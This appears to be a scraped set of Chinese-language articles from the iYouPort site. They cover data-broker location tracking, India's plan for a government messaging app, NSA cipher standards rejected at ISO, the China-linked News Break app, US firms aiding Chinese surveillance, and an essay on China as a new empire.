CBP新闻官员 Jason Givens 没有回答后续问题，即 CBP 在获取欧洲公民的数据或美国边境地区以外的手机数据时受到哪些限制。

FBI和**ICE**也与 **Venntel** 签订了合同，但他们没有回答关于该公司为这些间谍追踪欧洲境内外的欧洲人提供什么机会的问题。

当 Predicio 在8月11日回应访问请求时，他们没有提到任何关于2月至7月期间与 Venntel 共享数据的事。(Funny Weather 应用是在8月10日安装的)。Predicio 没有回复我关于采访的反复询问。

Complementics 联合创始人 Walter Harrison 表示，我的数据只用于营销分析。Harrison 不想接受采访，他没有回答关于他们与 Gravy Analytics 的关系的问题。○

Telefonen spionerte på meg. Slik fant jeg overvåkerne

原文

"自己的 WhatsApp"？ - iYouPort

关于高堡奇人

---

1. 越来越多的国家正在准备逃离高堡奇人的世界，这是个喜忧参半的局面

「图」

「图」

数据必需是民主的，否则任何主权都不是解决霸权的正确思考方式。

印度正在紧跟法国的脚步，准备建立自己的通信应用程序，并要求政府雇员将其用于官方通信。

据“经济时报”报道，新德里政府正在考虑是否需要使用自己开发的电子邮件和聊天应用程序。

此举背后的理由是减少对外国实体的依赖，这种担忧在中美争霸中的体现已经非常明显。

“我们需要使我们的沟通变得独立，” 该报援引一位不愿透露姓名的政府高级官员的话说。

该官员说，通过将中国巨头华为列入实体名单，美国已经“对新德里敲响了警钟”。

6月份，印度与特朗普直接发生了一个持续的贸易紧张局势，此前印度没有向特朗普保证将“提供公平合理的市场准入”。

印度称这一举动是一种“不幸”，几周后美国一些出口产品的关税上调。

如果实现这一目标，离开国外通信应用程序的举动将不会是一个国家第一次试图谨慎地限制外国玩家运行本国政府部门使用的流行消息应用程序。

法国今年早些时候在其政府办公室推出了一个加密聊天应用程序—称为 Tchap。

只有法国政府办公室的雇员才可以注册使用该服务，尽管该国已开放应用程序的代码供全世界查看和审核。

当然，Tchap 的安全漏洞在发布后的头24小时内就曝光了。

安全性是政府必须解决的真正挑战，小国政府可能没有最好的资源 —— 人才、预算和专业知识 —— 来应对这一挑战。

这是挑战高堡奇人的最大难点之一。

中国限制了许多外国公司在其国内的经营，同时也保留了用于政府办公室的定制版本的流行操作系统。朝鲜也是这么做的。

对印度来说，这也不是前所未有的一步。

由于大多数政府机构继续使用微软的 Windows 操作系统，该国多年来一直试图建立和扩展自己的基于 Linux 的桌面操作系统 BOSS，但收效甚微。

即使印度已成为世界第三大创业中心，该国也未能为许多受欢迎的服务建立本地替代品。

Facebook 的 WhatsApp 已经在印度的通信中无处不在，而谷歌的 Android 和微软的 Windows 在印度大多数智能手机和电脑都是如此地位稳固。

延伸：关于印度是高堡奇人争霸的重点《入侵印度》〇

India reportedly wants to build its own WhatsApp for government communications

原文

NSA 的阴云笼罩国际加密 —— 网络安全标准化会议在中国举行令人五味杂陈 - iyouport

关于高堡奇人

【2018年4月25日存档】无疑，谁能监视的范围最大、最深入，谁就将获得这场战争的胜利。

专家告诉 WikiTribune，美国国家安全局增加“物联网”全球加密标准化的计划被领导机构拒绝，对美国国家安全局（**NSA**）的怀疑阻碍了重要密码领域的合作。

4月24日，国际标准化组织（ISO）的代表们在中国武汉召开闭门会议，并投票结束了采用 NSA 倡导的两种加密方式的计划。由于代表们对该机构的怀疑。

本次会议由全国信息安全标准化技术委员会和武汉市政府共同承办，从16日至24日，吸引了来自中国、德国、美国、俄罗斯、英国、澳大利亚、法国、日本、韩国等 30 多个国家成员体的 280 位国际专家和 70 位中国专家参会。

中国官媒对此的宣传充满了民族主义腔调，称「“中国声音”更加响亮，一批网络安全“中国标准”从武汉走向世界」。

这就是为什么五味杂陈。

NSA 曾被记录试图将安全漏洞或后门安装到安全工具中（来自 Atlas Obscura），包括加密形式的工具。NSA 提出的两族轻量级分组密码算法 Simon 和 Speck 依旧充满争议，本次会议的态度表明，该机构（NSA）仍缺乏包括美国盟友在内的许多国家的信任。（这东西被用在包括家用设备 如智能扬声器、冰箱、照明和供热系统中，进行窃听监视）

NSA 技术总监 Neal Ziring 表示：“Simon 和 Speck 都在 NSA 内部进行了几年的详细密码分析，并且自2014年以来一直受到全球研究人员的学术分析，很好的分组密码具有稳固的安全性和出色的功率和空间

特性……”。好吧，可是你已经失信了。

在网络安全中规则是不同的

“在网络空间中，联盟与传统的战略空间完全不同，”巴黎战略研究基金会的 Nicolas Mazzucchi 博士说。“在传统军事领域，联盟首先共享优势。在网络空间中则恰恰相反，联盟是在共享漏洞方面形成的 ——盟军机构测试彼此的漏洞并分享解决方案。甚至有时在相互信任的基础上测试盟友安全的优势，并认识到，一个盟友的弱点将使所有人都可能遭受伤害。

Mazzucchi 说，根据 Edward Snowden 的泄露，对国家安全局窃听包括德国总理 Angela Merkel 和当时的法国总统 Francois Hollande 在内的35位世界领导人的电话的指控，破坏了建立这种关系的诚意。

Mazzucchi 说：“他们（那些国家）对美国国家安全局管理的 **ISO** 计划的不信任可以被视为一种探索其他方式来实现满意的网络安全水平的意愿，从而避免被美国情报机构有系统地拦截通信的风险。

美国国家安全局仍然生活在自己制造的阴云之下

“如果这些设计不是来自国家安全局，可能不会受到如此高的关注”，向丹麦代表团咨询 ISO 的 Stefan Kölbl 说。

他解释说，这种怀疑并非完全归咎于 Snowden，“强大的密码学和国家安全局的广泛应用之间存在着长期的冲突，虽然泄密确实将这个问题带给了更广泛的受众，同时也向我们展示了国安局是如何努力颠覆安全系统的。”

比利时鲁汶大学的 Tomer Ashur 博士是该计划中最热心的反对者。“是的，国家安全局的黑暗历史像阴云一样笼罩着我们，但我不认为这是（关闭该计划的）主要因素“，他说。

“ISO 内部和外部的许多加密专家都担心算法的安全性，**”Ashur** 说，“国家安全局试图保持他们所做的某些设计决定和参数选择的模糊性。由于这与密码设计的最佳实践不符，让包括我自己在内的一些代表感到震惊。”

Ashur 说，对于更详细信息的具体要求被混淆了，“我不能为其他代表发言，但我相信是这些担忧以及国家安全局的对抗性和侵略性行为最终导致大家支持取消该项目”。

没有国家安全局，**ISO** 加密程序将继续发展

Kölbl 说，标准化物联网加密是完全可以实现的，但是与 NSA 的争端让很多开发者相信他们的使命可能不符合政府情报机构的目标。“总的来说，对任何情报机构提供的加密算法都要非常小心这是原则，因为经常存在某种利益冲突。这样一个组织内部的一个小组可能对提供强大的加密算法有普遍兴趣，但其他组织成员也有将漏洞插入加密系统的目标。”

“我认为最终整个争议将有利于 ISO 的标准化进程，”他说，“这表明，我们需要制定更加明确的规则，在我们将它们用于标准化之前，它们会强化密码算法设计者的透明度，并且已经有很多讨论，关于如何改进这个过程。“

Ashur 说他表示希望 ISO 的学者能够更加开放。

本网正在陆续发布相关主题文章《监视之恶》，其中不得不说到美国。正如上述 Stefan Kölbl 所言，这不能完全归咎于 Snowden，事实上恰恰相反，必需感谢美国正义的勇士 **Edward Snowden**，他真正捍卫了民主之根基：公民的知情权。

相比继续隐瞒，揭露才是正途。公开真相是一切邪恶的解毒剂（吸血鬼会见光死，这个传统故事不是没道理的），因为政权在阴暗的环境下会变得肆无忌惮，公开就是还回公民的监督权，强大的制约力量将成为促使政权收敛的希望。

然而也无法否认，中国那样的国家正在利用 NSA 的丑闻宣扬自己的“优势”。必需强调的是，这种“优势”是建立在对“机密”这一概念疯狂滥用的基础之上的，没有被揭露并不意味着没有丑闻，恰恰相反，对中国这样的严格封锁一切信息的国家之警惕必需更高。

全球最广泛的监控网络 —— 美国的三大优势

设备的联网带来了完全不同的时代。在过去，俄罗斯电子产品、收音机和计算机通常使用俄罗斯的技术，而现在，全球人都在使用微软的操作系统、思科的路由器、以及相同的商业安全产品，在大多数国家都能买到 iPhone 手机，这意味着一个国家拥有能闯入敌国甚至盟国网络的技术能力。

一些欧洲的异议朋友不赞同媒体对“网络空间战 cyberwarfare”的宣传性描述，但不得不承认，它已经成为新冷战的焦点战术之一。无疑，

谁能监视的范围最大、最深入，谁就将获得这场战争的胜利。

成为全球最广泛的监控网络，美国有基础性的三大优势：1、与其他国家相比，美国拥有更丰厚的情报预算；2、互联网的物理线路布局导致世界上许多网络通路、甚至是两个国家之间的网络通路都跨越美国边界；3、大多数世界上最大最流行的硬件软件和互联网服务公司都位于美国境内，并遵从美国的法律规定。这就确立了美国在互联网世界的霸主地位。

正因为上述决定性优势，理论上别国无法竞争，但近年来中国正在民族主义鸡血的促动下试图从这张监视网络中分一杯羹（是啊，好的不学专门学恶）。观察家们已经将早年对硅谷的唠叨变成了如今点名 FATBAG（Facebook Amazon Tencent Baidu Alibaba Google），这个美中均分的布局意味深长。

NSA 的目标已在曝光文件中被充分显示，即：搜集一切、掌握一切、利用一切。Snowden 披露了该机构的一份名为“BlackBudget 黑色预算”的绝密级文件，显示 2013 年的总预算额是 530 亿美元，估计美国每年花在情报方面的费用高达 720 亿美元。这一大手笔令上述三个“一切”之实现基本无悬念。

但是，它合法吗？如果对比美国宪法，显然是不合法的，但它具备三方面授权：1、1981年，里根签署的《12333 号行政命令》，允许国家安全局在海外进行更广泛的监视，并允许更广泛地搜集、分析和保留美国公民的信息；2、2001 年颁布的《爱国者法案 PATRIOT Act》第 215 条，允许国安局搜集任何人而不只是外国人的“任何有型资产”，并解释称“包括电话元数据”；3、2008 年修订的《外国情报监视法案 FISA》第 702 条，扩大了国安局搜集外国人数据的职权范围，使之对美国公民的保护最小化。国安局利用这项授权监视本国互联网中枢连接、采集本国和外国公民的信息。

本网在博客中记录过一个早年披露的情报机构针对智能电视发起攻击的案例：根据日期为 2014 年 6 月的文件，代号为“Weeping Angel”的三星 F8000 系列智能电视受到损害。文件描述了假关机模式，旨在欺骗用户相信他们的屏幕已被关闭。受感染的电视机被隐藏录制音频，一旦电视机完全切换回来，将通过互联网传送数据到 **CIA** 的计算机服务器。

中央情报局中一个专门单位的工作是瞄准 iPhone 和 iPad，允许该机构看到目标对象的地理位置、激活他们的设备的摄像头和麦克风，并阅读文字通信。该部门还利用 **GCHQ**，**NSA** 和 **FBI** 获得的进一步

iOS “零日漏洞”。

侵犯一直在深入

IoT 正在飞速发展，智能牙刷、智能灯泡、智能音箱、智能药瓶、智能城市……接踵而来，目前为止联网设备已经超过 100 亿台，比全球人口还多。预计到 2020 年将超过 300 亿。我们很可能不知道这些东西里究竟哪个有用哪个没用，但必需知道，它会产生海量的数据将我们身边的日常用品变成监视之眼。

这种连通性对人类隐私的影响前所未有的深远，这就是为什么我们需要加密，需要基于全世界网民和用户利益的加密标准化，尽可能排斥所有政府和情报部门对标准的影响；我们需要支持开源自由软件，打破 **FATBAG** 的禁锢。虽然很不幸，他们是立法者，寡头就站在他们背后。此次会议在中国召开尤其令人焦虑。

最遗憾的莫过于作为民主典范和民主传统角色的美国，无比尴尬地退缩了，这不仅是民主的遗憾，更给了威权国家以上升的空间。

在互联网出现之初，很多人都认为其潜力无限，网络通过将政治进程实现民主化、调整强者和弱者的竞技场，可以使亿万民众获得解放，可以不必受到机构的约束、不受社会和政府的控制，即互联网自由对实现这些美好展望至关重要。

将互联网变成监视系统已经从根本上破坏了它最核心的潜质。更糟糕的是，它将互联网变成了一种压迫性工具，威胁会产生人类史上最极端最暴虐的政府入侵武器。

这就是 Snowden 必需站出来说实话的原因。这不是美国，也不是其他某个国家的问题，而是全世界的问题，要让所有人看到，我们正身处极富历史意义的十字路口。

鉴于互联网独特的魅力，数字化时代是否将开启个人解放和政治自由？抑或它将带来无所不在的监视和控制，其力度和范围远远超过以往最残暴的独裁者的梦想？我们所采取的行动将决定我们最终身处何处。〇

原文

TikTok并不是唯一一个扎根于中国的热门美国应用程序 - iyouport

关于高堡奇人

中国是世界上受控制最严格的新闻环境之一，但在中国发展起来的做法却在全世界获得了“成功”……

它是世界上下载量最大的新闻应用—— 而它所承载的内容完全是本地的。在美国，它所带来的流量超过了除三个巨头应用程序之外的所有应用程序。小型出版商对它带来的页面浏览量赞不绝口：2020年约7亿。它的下载量超过了《纽约时报》、BBC甚至谷歌新闻。它正在重新思考如何通过人工智能驱动的界面和其用户渴望的本地COVID-19更新来传递本地新闻。

“它” 就是News Break。2020年，News Break 通过App Store和Google Play拥有4500万月度活跃用户和2400万安装量，它自称是“全国第一的智能本地新闻平台”。

然而，它并没有扎根于它所服务的当地社区；事实上，它是由中国企业家和硅谷的计算机科学家创立的。

认识一下人工智能驱动的聚合器 News Break。

News Break 是一个跨境公司的典型例子。它的总部设在加州山景城，并在西雅图、北京和上海设有办事处，由成立于2015年的母公司Particle Media 拥有。News Break 由一个在美国和中国都有丰富经验的中国企业家和工程师组成的团队领导。首席执行官 **Jeff Zheng** 是前雅虎高管，他与前百度高管任旭阳于**2015**年共同创立了 **News Break**，后者于2020年离职。

News Break 利用从中国引进的策略获得了成功，在中国，通过算法传递新闻—— 由字节跳动的 “头条” 开创的做法—— 已经蓬勃发展。一个由人工智能驱动的 “兴趣引擎” 根据过去的参与度选择读者可能喜欢的文章—— 就像**YouTube**和**TikTok**选择观众可能喜欢的视频那样。即，《定制人》。

像 News Break 这样的内容聚合器不仅仅是在美国市场上获胜。北京昆仑科技拥有的 Opera News 和深圳 Transsion Holdings 开发的 Scooper News 都已经在非洲和欧洲取得了重大进展。这些应用程序可以针对主流媒体倾向于忽视的受众，而且它们提供的不仅仅是新闻，还有来自互联网各个角落的信息。

中国是世界上受控制最严格的新闻环境之一，但在中国发展起来的做法却在全世界获得了 “成功” —— 由于普遍存在的审查制度。如果没有自由访问、分享和讨论某些重大新闻的能力，用户不太可能关注 “朋友” 的分享，这就为算法专制的介入创造了更大的空间。

进入冠状病毒

「图」

该公司自己的大突破是在2020年。当它在2016年推出时，根据 Sensor Tower 的数据，它在全球下载量最大的新闻应用中达到了第39位 —— 一个有希望的开始，但并不占优势。然后，COVID-19袭来；根据出版分析公司 Parse.ly 的数据，2020年3月，News Break 的流量激增，比前一个月增长了516%，因为它成为COVID-19本地化更新的首选来源。News Break 现在被列为世界上下载量最大的新闻应用程序之一。

“头条” 的安装量可能要大得多。Sensor Tower 大概没有头条的安卓应用在中国的下载量，因为Google Play在中国无法使用。

“News Break 的特别之处在于，它在当地读者最需要的时候提供了他们所需要的东西”，Parse.ly 负责数据洞察的 Kelsey Arendt 说。Arendt 说，这在其他聚合器中是属于 “附加的或不错的东西”，但对 News Break 来说是 “核心重点”。

投资者已经注意到了。在1月份完成了1.15亿美元的C轮融资后，News Break 声称它成为了一个新晋的硅谷独角兽。支持者包括著名的 Francisco Partners、IDG Capital 和 ZhenFund。

关于 *Francisco Partners*，见《这个富有的监视技术经销商浮出水面 …… 还有他那个*900*万美元*WhatsApp*骇客工具》；《硅谷投资公司从监视国家中获利》

News Break 的特殊性

「图」

News Break 成功的关键是为每个用户*定制*的人工智能个性化和本地化的新闻源。News Break 称其核心技术为 “兴趣引擎” (interest-based engine) 。“基于兴趣的引擎结合了搜索、推荐和智能互动，这需要一个高技术的堆栈”，CEO Zheng 在2017年告诉中国媒体说，“它鼓励用户与产品进行更丰富、更智能的互动。”

为了让用户着迷，News Break 还利用了频繁的推送通知—— 自从安装了iPhone版的该应用后，记者平均每天都会收到20条提醒—— 它还付钱给当地的博主和内容制作者，让他们写文章、发表意见和分享当地的新闻事件。

新闻只是一个切入点。News Break 主要投资于所谓的 “长尾”，这是一种流行的营销策略，迎合各种小众兴趣，而不是只有几个流行的垂直领域。一旦用户注册了他们感兴趣的垂直领域，News Break 就会推荐更多相关渠道。

像中国大多数流行的应用程序一样，所有这些应用程序都努力成为一个 “万能的应用程序” ，News Break 并不满足于只做一个新闻聚合器。为了将用户高度锁定在其生态系统中，**News Break** 也是一个 **Nextdoor** 和 **Craigslist**，为特定社区提供分类信息，如本地工作列表、活动、餐厅、交易和服务。

如果您错过了《订户之城》

凭借对用户兴趣的深入了解，News Break 能够建立出版数据分析师所说的高 “需求”，即每篇文章的平均浏览量，这相当于受众覆盖的质量。**2021**年**3**月，**News Break** 作为新闻流量来源排名第**4**，仅次于谷歌、**SmartNews** 和 **Flipboard**。但根据 **Parse.ly** 的数据，**News Break** 每篇文章的平均浏览量要高于谷歌新闻。

News Break 不会拯救本地新闻

「图」

小型和本地出版商对 News Break 给他们网站带来的流量赞不绝口。根据 Parse.ly 的数据，在2020年，News Break 成为他们各自网络中的顶级推荐者之一，仅次于谷歌和 Flipboard。

但像 News Break 这样的聚合器不会取代扎根于读者社区的本地报

纸，Lenfest 新闻研究所的编辑和通信主管 Joseph Lichterman 说，该研究所是一家位于费城的以新闻业为重点的非营利组织，他说，“News Break 缺乏独立的和原创的声音以及社区感，而这对本地新闻来说是至关重要的”。

该应用程序也不会对当地报纸的底线有多大帮助，这些报纸越来越依赖通过订阅或会员制获得的直接读者收入，而数字广告收入却在不断减少”，Lichterman 说。这些类型的新闻聚合器可能有助于增加原始流量，但它们不太可能形成将读者转化为付费支持者的那种习惯。

TikTok不是

「图」

网络安全专家担心，在美中关系紧张的时候，News Break 在中国的存在—— 微软和谷歌等跨国公司也是如此—— 如果它继续增长，可能会吸引更多的审查。例如，鉴于其中国所有权，在美国受欢迎的应用程序TikTok去年成为美国关于与北京共享数据的争议中心，尽管最近公民实验室的审计发现该应用程序并没有对美国构成国家安全风险。

如果您错过了《谁拥有*TikTok*并不重要》；《泄漏文件揭露*TikTok*如何与美国警察合作维稳镇压》

News Break 没有回应评论请求。但一位要求匿名的 News Break 员工告诉记者，该公司的所有数据都存储在亚马逊网络服务上，其服务器位于美国。

“如果数据存储在美国的AWS，我不知道中国政府如何能在AWS不知道的情况下获取这些数据。中国没有法律明确授予中国政府这种权力”，New America 的网络政策研究员萨克斯（Samm Sacks）说。

虽然 News Break 在中国的存在会引起有关信息控制的潜在问题 ——美国读者看到的新闻在多大程度上可能受到审查，以及它如何使人们暴露在虚假信息中。但专家说，如果不对该应用程序的数据基础设施和公司的架构进行研究，就很难评估人们应该对这些问题有多关注。

Sacks 说：“即使没有中国政府的帮助，虚假信息已经在美国这里造成了严重的破坏”。〇

TikTok isn’t the only hit U.S. app with roots in China.

原文

一臂之厉：美国企业正在帮助建立中国的奥威尔国家 - iyouport

作恶者：谁在帮中国关于高堡奇人

【2019年8月8日存档】美国的科技公司一直在向中国的监控公司提供专业知识、声誉信任、甚至技术本身。如何抵制这种行为？

当一位荷兰网络安全研究员透露中国的监控承包商 SenseNets 留下了一个庞大的面部识别数据库在线被公开显示政府一直在追踪中国新疆省250多万人的详细信息时，该消息只是简要突出了中国监控国家令人震惊的范围。

但 **SenseNets** 是一个更大现象的一部分：美国的科技公司一直在向中国的监控公司提供专业知识、声誉信任、甚至技术本身，无论是有意还是其他什么。

SenseNets 数据库24小时记录精确的 GPS 坐标，并使用面部识别将该数据与敏感的个人信息相关联，包括：国家身份证号码、家庭住址、个人照片和工作场所。被追踪的人中有近三分之一来自维吾尔族。

在一个奇怪的监视至上和安全无能的并置中，SenseNets 的数据库在被报告之前已经在互联网上公开了六个月，并且根据发现它的研究人员的说法，可能已经损坏了。 ”

这一发现表明，SenseNets 是参与在新疆建立技术型极权主义警察国家的众多中国公司之一，自2017年初以来，已有多达200万维吾尔族人进入“再教育营地”。营地内部的目击者报告描述了严酷的生活条件、酷刑以及几乎不间断的政治灌输，意在剥夺维吾尔人对伊斯兰教信仰的任何依附。

面部识别、人工智能和语音监控技术使中国共产党的大一统能力得到了飞速提升。该党通过对在线和行为活动的不间断电子监视来操纵所有人。这种现代化的圆形监狱需要大量的劳动力，但它是新监视技术

的试验场，技术可能使这一过程对国家来说更便宜、更有效。

为实现这一目标，该党正在利用中国充满活力的科技生态系统，邀请中国企业通过传统的政府采购工具参与其中。是这些技术公司建立了再教育营，提供了在线监视维吾尔语的软件以及监视线下行动的摄像机。

虽然总部设在中国，但许多这类公司深深扎根于国际科技界，其方式引发了对滥用关键新技术的严重质疑。渴望获得中国资金和数据的外国公司纷纷涌入合作伙伴关系，完全不顾他们提供的技术在新疆和其他地方使用的方式。

2018年2月，美国的名牌大学麻省理工学院（MIT）宣布与中国人工智能巨头和全球面部识别技术领导者 SenseTime 展开广泛的研究合作。随后持有 SenseNets 49%的股份，并对技术人员进行了强有力的交叉传授。

SenseNets 的母公司 **Netposa**（也是中国公司）在硅谷和波士顿均设有办事处，**2010**年就获得了英特尔的战略投资，还投资于美国机器人初创企业：由卡内基梅隆大学和 Exyn 的研究人员领导的 Bito，一家无人机软件公司，参加了国防高级研究计划局（DARPA）的人工智能挑战。

这种广泛的纠缠提出了道德和军民两用技术的国家安全问题。两用技术是可以用于民用和军用的技术，因此应该受到更严格的控制。核电和 GPS 是其中典型的例子，但面部识别、增强现实和虚拟现实、5G 和量子计算等新技术，也已经开始引起人们对其双重适用性的担忧。

除了 SenseNets 之外，中国的语音识别领导者 iFlytek 也可能会提供软件来监控新疆的电子通信。人权观察发现的2013年 iFlytek 专利在“监视公众舆论”方面特别吹捧其实用性。尽管如此，与 SenseTime 一样，**iFlytek** 最近也与美国麻省理工学院建立了多年的研究合作伙伴关系。这些“伙伴关系”起到了明确的破坏人权的作用。

同样令人担忧的是，与中国公司的技术和研究合作的细节对国际合作伙伴来说可能是不透明的，隐瞒了道德上令人反感的活动。

当耶鲁大学遗传学家 Kenneth Kidd 与中国公安部法医学研究所的科学同事分享 DNA 样本时，他也许不知道这些样本会被用来改进新疆的基因监测技术。位于马萨诸塞州的公司 Thermo Fisher 也受到了牵连：在上个月被报道之前，该公司一直在直接向新疆当局出售 DNA

测序仪。西方公司和机构必须更加警惕地审视中国合作伙伴如何使用他们的产品，特别是新兴技术。

面部识别是一个很好的起点。该行业需要为适当的应用制定全球标准——尊重人权和法治的用途。在建立监管方面，魔鬼可能在细节上。但原则——公平，透明，问责，不歧视，通知和同意以及合法监督——都是合理的。

令人惊讶的是，SenseNets 将微软列为其网站上的合作伙伴，以及美国芯片制造商 AMD 和高性能计算提供商 Amax。简单说就是，微软一面虚情假意地抢着“支持监管”，一面在协助中国的老大哥成长。

如果这些合作关系是真实的，那么说明已经违反了微软的所有“六项原则”——总部位于加利福尼亚州的 **Amax** 专门从事深度学习应用的高性能计算，早已与全球最大的视频监控产品供应商中国国有企业海康威视（**Hikvision**）建立了合作伙伴关系。**AMD** 还参与了一家提供专有**x86**处理器技术的中国合资企业。

尽管人们普遍意识到了美国公司和个人在怂恿中国政府监视方面的一臂之厉，但美国国会和政府官员尚未要求对这种现象进行审查。商务部提出的关于控制某些新兴技术的规则制定是一个开端，但其范围仍不明确。

U.S. Firms Are Helping Build China’s Orwellian State. Tech partnerships are empowering new methods of control.

原文

中国：一个正在出现的新帝国 - iyouport

关于高堡奇人

新帝国主义的形成是一个罕见的事件。它需要与国际形势和有关国家的具体特点相关的多种前提条件。从这一双重角度来看，中国的状况，提出了不同寻常的问题。

人们已经知道，帝国主义可以在西方领域之外诞生。日本的情况就是如此。然而，这只是一个相当经典的分析框架的一部分。西方帝国的建立在东北亚还没有完成，大国都在争夺对中国的控制权，日本政权做出了预防性的反应。至于该国的社会结构，在我们看来基本上与欧洲国家类似，明治维新（1868年）确保了从晚期封建主义向现代资本主义的过渡：加速工业化，组建一支强大的军队，巧妙地证明了自己对俄罗斯的优势：第一次，一个欧洲大国被一个亚洲国家打败，这是一个引起地缘政治地震的重大事件。因此，日本是最后一个能够在20 世纪初形成的帝国主义国家。

庞大的俄罗斯帝国向现代帝国主义的转型确实失败了，特别是由于它在日俄战争（1904–1905）期间被日本打败的后果：它的军事能力崩溃了，它的海军舰队在两个阶段中被摧毁：首先是驻扎在西伯利亚的舰队，然后是驻扎在波罗的海的舰队。在国内政治层面上，这次失败被1905年的革命所反击，它引发了沙皇政权的危机。在东方被新的日本帝国主义打败，然后在西方被第一次世界大战期间的德国打败，当时俄国处于沦为附属国或被分割的国家的边缘 —— 由于1917年的革命，它摆脱了这一命运。

随着殖民帝国的形成，世界的初步划分几乎已经完成；从此之后，帝国主义之间冲突的利害关系将是对这种划分的修改。

资本主义全球化和地缘政治紧张局势的核心

「图」

在21世纪初，习近平的中国确立了自己作为世界 “第二大国” 的地

位，处于资本主义全球化的核心。它在各大洲和各大洋都有自己的项目。在习近平看来，“在经济全球化的时代，开放和融合是一个不可抗拒的历史趋势。筑墙或‘脱钩’违背了经济规律和市场原则”。

菲利普·S·戈尔布 (Philip S. Golub)指出，“这个党国已经宣称自己作为自由贸易和全球金融的倡导者角色 …… 取消了一些阻止外国进入国内资本市场领域的障碍，并向美国主要集团发放许可证，让它们在专业市场上经营全资或控股的子公司。2020年9月5日的《经济学人》认为，“中国正在创造机会[这是外国资本没有想到的，至少认为没有这么快]”。美国资本流入中国的规模难以估计，因为“许多发行股票的中国公司在离岸避税地设有子公司”。根据《投资观察》2021年7月13日发表的一份报告中说，中国在开曼群岛的子公司比绝大多数其他国家都要多，仅次于“美国、英国和台湾”。

“中国政府有能力在关键的工业部门发号施令，用中国方式为一个庞大的赞助网络提供支持，而党对社会进行广泛监控的能力又使其得到加强。我们面对的*并不是*‘中国特色的市场社会主义’，而是被有效赋予‘中国特色’的国家资本主义”。

从印度到韩国，国家主导经济发展在亚洲并不新鲜。在不同的形式下，许多主导性的寡头政治结合了私人资本、军事资本和国家资本。它们之间的联系往往是通过大的家族所有者来实现的。

继承了悠久而特别复杂的历史，中国的社会结构是非常异质的。作为世界工场，它的经济仍然部分依赖外国资本和进口零部件。然而，它也为独立的国际发展提供了基础。在一些部门，它能生产先进的技术，而在另一些部门，它无法赶上潮流 —— 如先进的半导体领域。它正在经历资本主义类型的生产过剩（和债务）的危机，这些危机对房地产造成了严重打击，房产巨头恒大的破产就是一个象征。到目前为止，所有关于房地产泡沫破裂的预言都被中国否定了 —— 但这并不意味着情况会一直如此。正如 Romaric Godin 所指出的，“对于可能发生的中国危机，大众还没有说出来，但这个人民共和国的国家资本主义的矛盾无疑正在日益加深”。

从20世纪80年代开始，中国领导层准备进行国际扩张。邓小平时期谨慎行事，习近平时期积极进取。这种扩张有国内经济的驱动力（为利润率低和生产过剩的行业寻找出路，如钢铁、水泥，或劳动力）。它诉诸于深层的文化渊源 —— 恢复中原王朝的中心地位，消除殖民统治的屈辱感，提供西方文明模式的全球替代方案。它培养了一种大国民族主义，使政权合法化，并有挑战美国霸主地位的野心。

于是，一个“经典”状况出现了：既有的大国（美国）面对一个成长中的大国（中国）的出现。

国际先决条件

「图」

在二十世纪初已经变得不可能的事（新帝国主义的出现）如何能在二十一世纪之交实现？冒着过于简化的风险，让我们强调两个时间段。

在俄国（1917年）和中国（1949年）革命之后，欧亚大陆大部分地区摆脱了日本-西方帝国主义的直接统治，获得了独立的地位，如果没有这种地位，后来的一切都不可能发生。

在20世纪80年代革命运动的国际失败和苏联解体之后，国际资产阶级的主导派犯了必胜主义的错误，认为自己不可分割的统治从此就能得到保证了。它似乎没有考虑到它所强加的新自由主义世界秩序会被北京利用来为自己谋利，并取得人们现在看到的“成功”。

中国的转变

「图」

声称当前中国的国际政策“不是帝国主义”的分析是基于从 1949 年至今的政权的连续性，但这种连续性只是名义上的：人民共和国（PRC）、共产党（CCP）、重要的国家经济部门。当然也存在连续性，特别是文化上的连续性，包括帝国长期的官僚传统，为当代政权装饰了一种历史性的“常态”。然而，不连续的情况是占上风的——而且是远远超过。确实有革命和反革命，社会阶层的连续动荡就证明了这一点。

1、工业无产阶级的地位。

这个人民共和国宣布成立后，中共必须在城市中心重建社会基础。为了做到这一点，它在两种意义上都依附于工人阶级：使其处于从属地位，并为其提供大量社会福利。

在政治上，工人阶级被置于党的控制之下；并没有“领导”企业或国家。工人们被分配到工作单位，就像法国传统中的地区公务员那样；然而，新的国有企业的工人阶级享有相当大的社会优势（终身就业等等）。当然，除了国家权力机关的官僚阶层之外，没有其他社会阶层

拥有如此有利的社会地位。

2、属于民众阶层的妇女的地位。

夺取政权后通过的两项具有象征意义的法律使普通妇女受益：婚姻中的平等权利和包括她们在内的土地改革。

3、旧的统治阶级。

一旦该人民共和国得到巩固，无论中国精英阶层的这个或那个成员的个人命运如何，旧的统治阶级（城市资产阶级和农村贵族）都会解体。

毛泽东政权在一场社会、民族主义、反帝国主义和反资本主义的革命之后巩固了自己，这是一个永久革命的过程。它有着深厚的群众基础，但却是非常专制的，特别是，它受到几十年的战争的影响。“人民战争”战略所特有的社会动员的民主遗产仍然存在，但是，党国仍然构成了官僚化（一种程序）的框架。这绝对不是“社会主义”，而是一个过渡性的社会，其结果是不确定的。

4、毛泽东政权的危机。

毛泽东政权的所有内在矛盾在名不副实的“文化大革命“（1966–1969）中爆发了。 这是一场非常复杂的全球性危机，在这场危机中，政府和党都被打垮了—— 只有军队还能在全国范围内进行统一干预。毛泽东最终呼吁强行恢复秩序，转向反对支持他的红卫兵和工人团体。在1970年代，这为“四人帮”的蒙昧主义专制铺平了道路，这是官僚反革命的最终胜利。所谓的“无产阶级文化大革命”（GPCR）的灾难性结果确定了毛泽东政权的终极危机和毛泽东的政治死亡，比他的身体死亡早了十年。

官僚反革命为资产阶级反革命创造了肥沃的土壤，随着邓小平（文革大清洗的幸存者）的重新上台，打破了民众的动员，当时看起来似乎在回归理性。而几年后，人们发现，**1960**年代为大清洗辩护的诽谤，在**1980**年代已经成为现实 —— 邓小平体现了中国共产党新领导层中的资本主义选择。

5、1980年代的反革命。

在邓小平的推动下，官僚机构的核心为其转型、“资产阶级化”和国家重新融入资本主义世界市场，做出了准备。在这一过程中，它受益于一些特殊的优势。

a/ 关于毛泽东政权的遗产：一个独立的“国家”，工业和技术，受过教育的合格人口 ……

b/ 关于殖民时期的遗留问题：香港（英国殖民地）、澳门（葡萄牙殖民地）和台湾（美国保护国）是通往世界市场和国际金融的敞开大门，提供中国大陆不存在的管理知识，允许技术转让（澳门是规避法律和法规的理想渠道）。

c/ 在坚实的妥协基础上与强大的中国跨国资本合作的可能性：后者在中国得到了特权待遇，同时宣称 “只有政府和中国共产党才能保证维护国家-大陆的统一”。

